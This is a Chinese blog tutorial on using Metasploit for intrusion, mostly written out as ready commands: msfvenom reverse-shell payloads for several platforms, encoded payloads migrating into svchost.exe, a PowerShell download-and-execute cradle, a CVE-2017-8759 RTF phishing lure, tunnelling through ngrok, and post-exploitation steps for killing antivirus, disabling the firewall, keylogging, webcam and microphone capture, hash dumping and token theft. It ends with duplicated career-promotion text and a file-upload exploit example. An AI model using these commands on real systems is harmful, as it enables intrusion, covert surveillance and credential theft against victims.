Metasploit (MSF) 使用-包含基本使用、payload生成、后渗透模块使用

博主根据日后学习会不断更新文章,后续用到新的功能会不定时更新。

以下内容只供学习使用,请勿违法使用!


目录

一、常用指令

二、监听模块

2.1 防止假session

2.2 实现后台持续监听

三、msfvenom(payload生成模块)

3.1 参数介绍

3.2 常用指令

3.3 payload 生成

3.3.1 Linux

3.3.2 Windows

3.3.3 Mac

3.3.4 Android

3.4 payload 可持续化

3.5 脚本 payload 生成

3.5.1 Powershell

3.6 Powershell 配合 msf 无文件攻击

3.7 msf 宏钓鱼攻击

3.8 multi/script/web_delivery 模块

3.8.1 实例

3.9 建立隧道通过公网后门连接

四、后渗透模块

4.1 常用模块


一、常用指令


msfconsole: 启动msf
use: 引用msf模块 // use 模块名
search: 搜索模块
show: 查看选项 //当进入模块可是使用show option查看模块需要的参数选项,使用show targets和show payloads可查看target和payload选项参数
set: 设置选项参数
session: 操作msf session会话命令
session -i id: 使用该session
session -l: 列出所有session id
如果需要退出删除session会话可以使用session -k 会话号,同样使用-K可以删除全部session会话
jobs: 查看msf后台监听选项
jobs -K: 删除全部监听
jobs -k 监听id: 删除指定监听
其他命令: cd, pwd, ls等等就等同于终端命令大部分都可以直接使用

二、监听模块

2.1 防止假session


实战中,经常会遇到假session或者刚连接就断开的情况,这里需要补充一些监听参数,防止假死或假session
msf6 exploit(multi/handler) > set ExitOnSession false
可以在接收到session后继续监听端口,保持侦听

2.2 实现后台持续监听


方法一:
msf6 exploit(multi/handler) >exploit -j -z
使用exploit -j -z 可以在后台持续监听,-j为后台任务,-z为持续监听
方法二:
msf6 > handler -H 192.168.1.1 -P 1122 -p windows/meterpreter/reverse_tcp

使用jobs命令查看和管理后台任务,jobs -K可结束所有任务,jobs -k 任务号 结束指定监听

三、msfvenom(payload生成模块)

新版本中,msfwenom是老版本msfpayload和mafencode的结合体,用于创建后门程序,建立会话连接。

3.1 参数介绍


-l, --list 列出指定模块的所有可用资源,包括:payloads,encodes,nops,all
-p, --payload 指定所需要使用的payload,也可以使用自定义payload,几乎支持全平台
-f, --format 指定输出格式
-e, --encoder 指定需要使用的encode,指定需要使用的编码
-a, --arch 指定payload的目标架构,例如x86|x64|x86_64
–platform 指定payload的目标平台
-o, --out 指定创建好的payload存放位置
-b, --bad-chars 设置规避字符集,指定需要过滤的坏字符例如:不使用’\x0f’,‘\x00’
-n, --nopsled 为payload预先指定一个NOP滑动长度
-s, --space 指定有效攻击和在的最大长度,就是文件的大小
-i, --iterations 指定payload的编码次数
-c, --add-code 指定一个附加的win32shellcode文件
-x, --template 指定一个自定义的可执行文件作为模版,并将payload嵌入其中
-k, --keep 保护模版程序的动作,注入的payload作为一个新的进程运行
-v, --var-name 指定一个自定义的变量,以确定输出格式
-t, --timeout 从STDIN读取负载时等待的秒数(默认值为30,0表示禁用)
–shellest 最小化生成payload
-h, --help 帮助
–help-formats 查看msf支持的输出格式列表

3.2 常用指令


msfvenom --list payloads 查看所有的payload,可以简写 -lp
msfvenom --list encoders 查看所有编码器,同样可以简写 -le
background: 挂起退出不结束远控
run vnc: vnc远程监视,修改配置可以实现远程监视和远程操作
getuid: 获取系统uid
getsystem: 获取system权限

3.3 payload 生成

指定的LHOST,LPORT均为攻击者主机监听的IP和端口,可以不使用-o进行指定输出,直接使用>一样可以输出后门文件。

3.3.1 Linux


msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f elf > shell.elf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -a x86 --platform Linux -f elf > shell.elf
3.3.2 Windows


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe
3.3.3 Mac


msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f macho > shell.macho

3.3.4 Android


msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f raw > shell.apk

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 R > shell.apk
3.4 payload 可持续化


一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想要做持久化的时候只能再使用migrate进行。
在生成payload时候可以直接使用一下命令,将payload直接注入到指定进程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
解释:
p: 指定payload模块
LHOST LPORT: 指定监听的主机IP和端口
e i: 指定编码格式和编码次数
b: 指定坏字符
a: 指定目标架构
platform: 指定操作系统
PrependMigrate=true: 指定进程迁移
PrependMigrateProc=svchost.exe: 指定迁移的进程名称
f: 指定文件格式
o: 指定保存名默认保存当前目录

执行这个生成的payload需要满足第一系统权限可以对进行进行迁移,第二知道进程名称

3.5 脚本 payload 生成

3.5.1 Powershell


msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=1122 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

3.6 Powershell 配合 msf 无文件攻击


生成ps脚本:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f psh-reflection > x.ps1
设置监听:
handler -H 192.168.1.2 -P 1122 -p windows/x64/meterpreter/reverse_tcp
客户端运行即可连接
powershell IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.4/x.ps1’)

注意:该功能配合钓鱼文件,或者getshell后才可利用

3.7 msf 宏钓鱼攻击


// 使用环境
// 攻击主机:ubuntu 安装有msf
// 目标主机:windows7
1、提前下载生成钓鱼文件的脚本
https://github.com/bhdresh/CVE-2017-8759.git
2、在当前目录生成 lnvoice.rtf钓鱼文件
python2 cve-2017-8759_toolkit.py -M gen -w lnvoice.rtf -u http://10.1.101.3/logo.txt
3、在在当前文件夹使用msf生成木马文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.101.3 LPORT=1122 -f exe > shell.exe
4、msf和python钓鱼脚本同时开启监听
python钓鱼脚本开启监听 //监听为本级80端口需提前排查是否被占用
python2 cve-2017-8759_toolkit.py -M exp -e http://10.1.101.3/shell.exe -l shell.exe
msf开启监听
handler -H 10.1.101.3 -P 1122 -p windows/x64/meterpreter/reverse_tcp
5、目标主机运行invoice.rtf即可在msf看到主机成功上线

注意:
生成的文件均在同一目录,使用的python环境为python2,只是提供学习,目前该钓鱼文件运行会被系统拦截,需要提前关闭防火墙,如果成功上线主机,可以使用进程迁移,迁移到指定进程,避免文件关闭session会话关闭。


3.8 multi/script/web_delivery 模块

该模块为脚本后门模块,可以做钓鱼使用,生成的为脚本命令,属于无文件后门。

  1. 模块引用:

    // 可以通过search搜索然后use引用也可以直接输入全程urs引用

search web_delivery
use 1
  1. 设置参数:需要设置LHOST、LPORT、payloads、targets

    // 使用show命令进行查看选项可以配置的参数

配置LHOST(攻击者IP): set lhost 192.168.3.179
配置LPOER(攻击者prot): set lport 1122
配置payloads(攻击的方式): set payload windows/meterpreter/reverse_tcp
配置targets(攻击使用的命令类型): show targets
	选择执行的方式改种payload支持:PHP、PSH、Regsvr3等方式
	set target 6 设置target
设置完成后直接使用run生成后门命令
msf设置监听: handler -H 192.168.3.179 -P 1122 -p windows/meterpreter/reverse_tcp
目标主机运行命令即可上线
3.8.1 实例


1、window生成powershell命令上线
设置主机以及端口处省略
设置payload: set payload windows/meterpreter/reverse_tcp
设置target: show targets、set target 6 //此时6代表的是:PSH (Binary)
设置完成直接run,使用jobs可以看到本地已经在监听当前设置的端口,在目标主机运行即可上线
2、windows Regsvr32命令上线主机
设置主机以及端口处省略
设置payload: set payload windows/meterpreter/reverse_tcp
设置target: show targets、set target 3 //此时3代表的是:Regsvr32
设置完成直接run,使用jobs可以看到本地已经在监听当前设置的端口,在目标主机运行即可上线
3、php环境使用php.exe执行命令上线 //此时需要另外一个php payload
设置主机以及端口处省略
设置payload: set payload php/meterpreter/reverse_tcp
设置target: show targets、set target 1 //此时1代表的是:PHP
设置完成直接run,使用jobs可以看到本地已经在监听当前设置的端口,在目标主机运行即可上线

// 更改模块需要从新开启另一个监听,注意端口不可以重复需要修改端口
// 如果设置好payload执行失败,需要更该payload为x64,从新按照以上步骤执行
// set payload windows/x64/meterpreter/reverse_tcp

3.9 建立隧道通过公网后门连接

此时需要借助网址:https://ngrok.cc/获取免费隧道,让目标主机与网站隧道建立连接然后通过隧道最终与攻击机建立连接

根据网站介绍自行配置隧道

以window 后门为例


启动隧道: ./sunny clientid 隧道id
直接使用: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe
LHOST: set LHOST 隧道地址 //可以对获取的隧道地址进行域名解析填写IP可以避免域名解析失败
LPORT: set LPORT 隧道端口
配置监听: handler -H 127.0.0.1 -P 10503 -p windows/meterpreter/reverse_tcp

// 同样如果执行失败可以更好x64再次尝试

四、后渗透模块

在msf建立监听连接后,使用session获取的会话,此时就需要使用后渗透模块-
meterpreter,并不是建立会话后后渗透模块都可以使用,还需要根据实际情况目标的操作系统以及获取的权限使用。

4.1 常用模块


1、获取系统运行平台: sysinfo
2、提取系统信息: run scraper
3、查看进行: ps
4、迁移进行: migrate 1774
5、查看文件: cat 文件
6、查看当前路径: pwd
7、搜索文件: search -d c:\ -f *.doc
8、其他命令类似于Linux命令: cd, rm, mkdir, rmdir, dir, mv等等
9、上传文件: upload 本机路径 上传目标路径
10、下载文件: download 目标路径 本机路径
11、进程迁移: run post/windows/manage/migrate
12、关闭杀软: run post/windows/manage/killav
13、通过shell来关闭防火墙: netsh advfirewall set allprofiles state off
14、截屏: screenshot
15、查看桌面: run vnc
16、开启3389: run post/windows/manage/enable_rdp
17、提权模块: mult/recon/local_exploit_suggester 设置过去的session ID
执行之后会返回可以提权的模块,然后进行调用,设置session提权,成功会返回新的会话
18、运行程序: execute -f notepad.exe 加H可以进行隐藏运行
19、摄像头命令:
音频录制: record_mic
查看摄像头接口: webcam_chat
查看摄像头列表: webcam_list
摄像头视频获取: webcam_stream
20、端口转发: 作用如果目标机器在内网开放3389,外网无法连接,这个时候进行端口转发,利用会话将目标机器3389转发到本地,实现3389远程连接
-L: 要监听的本地主机ip(可选)
-h: 帮助
-l: 要监听的本地端口
-p: 要连接到的远程端口
-r: 要连接的远程主机ip
portfwd add -l 4444 -p 3389 -r 10.211.55.7 // 把目标机10.211.55.7的3389端口转发到本机127.0.0.1的4444端口,直接进行连接本机4444端口即可3389远程连接,同样如果本地两台电脑,另一台电脑直接远程访问开启4444主机的IP+4444可以直接进行连接,,,,注意端口转发并不需要高权限上线就可以直接转发。
21、键盘记录:
keyscan_start: 开启键盘记录功能
keyscan_dump: 显示捕捉的键盘记录信息
keyscan_stop: 停止键盘记录
21、获取hash值: load mimikatz(32位)load kivi(64位)此时调用完成就直接可以使用该模块的命令,但是使用该命令需要拥有系统system权限,同样也可以使用hashdump导出
22、盗取身份令牌: use incognito
list_tokens -u: 列出目标主机用户组可用的令牌,有的话可以直接进行身份切换
list_tokens -g: 列出目标主机用户组可用的令牌,有的话可以直接进行身份切换
impersonate_token LUCKYXBDC6\luckyx: 切换令牌身份

e题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

2023届全国高校毕业生预计达到1158万人,就业形势严峻;

国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
MSFMetasploit Framework)是一款功能强大的渗透测试工具,其中包含了很多漏洞利用模块。其中,文件上传漏洞是常见的一种漏洞类型,攻击者可以利用该漏洞上传恶意文件,从而控制目标系统。下面是一个使用MSF的文件上传漏洞利用模块的案例: 1. 首先,使用MSF的search命令查找可用的文件上传漏洞利用模块,命令如下: ``` msf > search upload ``` 2. 找到一个目标系统存在文件上传漏洞的网站,并确定上传文件的路径和可上传的文件类型。 3. 利用MSF的exploit命令选择相应的模块,并设置相关参数,例如: ``` msf > use exploit/multi/http/wp_contact_form_7_file_upload msf exploit(wp_contact_form_7_file_upload) > set RHOSTS 192.168.1.100 msf exploit(wp_contact_form_7_file_upload) > set TARGETURI /contact msf exploit(wp_contact_form_7_file_upload) > set PAYLOAD php/meterpreter/reverse_tcp msf exploit(wp_contact_form_7_file_upload) > set LHOST 192.168.1.200 ``` 其中,RHOSTS为目标系统的IP地址,TARGETURI为上传文件的路径,PAYLOAD为要上传的恶意文件类型,LHOST为攻击者的IP地址。 4. 运行exploit命令,执行漏洞利用,上传恶意文件并获得对目标系统的控制: ``` msf exploit(wp_contact_form_7_file_upload) > exploit ``` 以上就是使用MSF的文件上传漏洞利用模块的一个案例。需要注意的是,在实际漏洞利用中,应该先进行充分的测试和准备,避免对目标系统造成不必要的损失。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值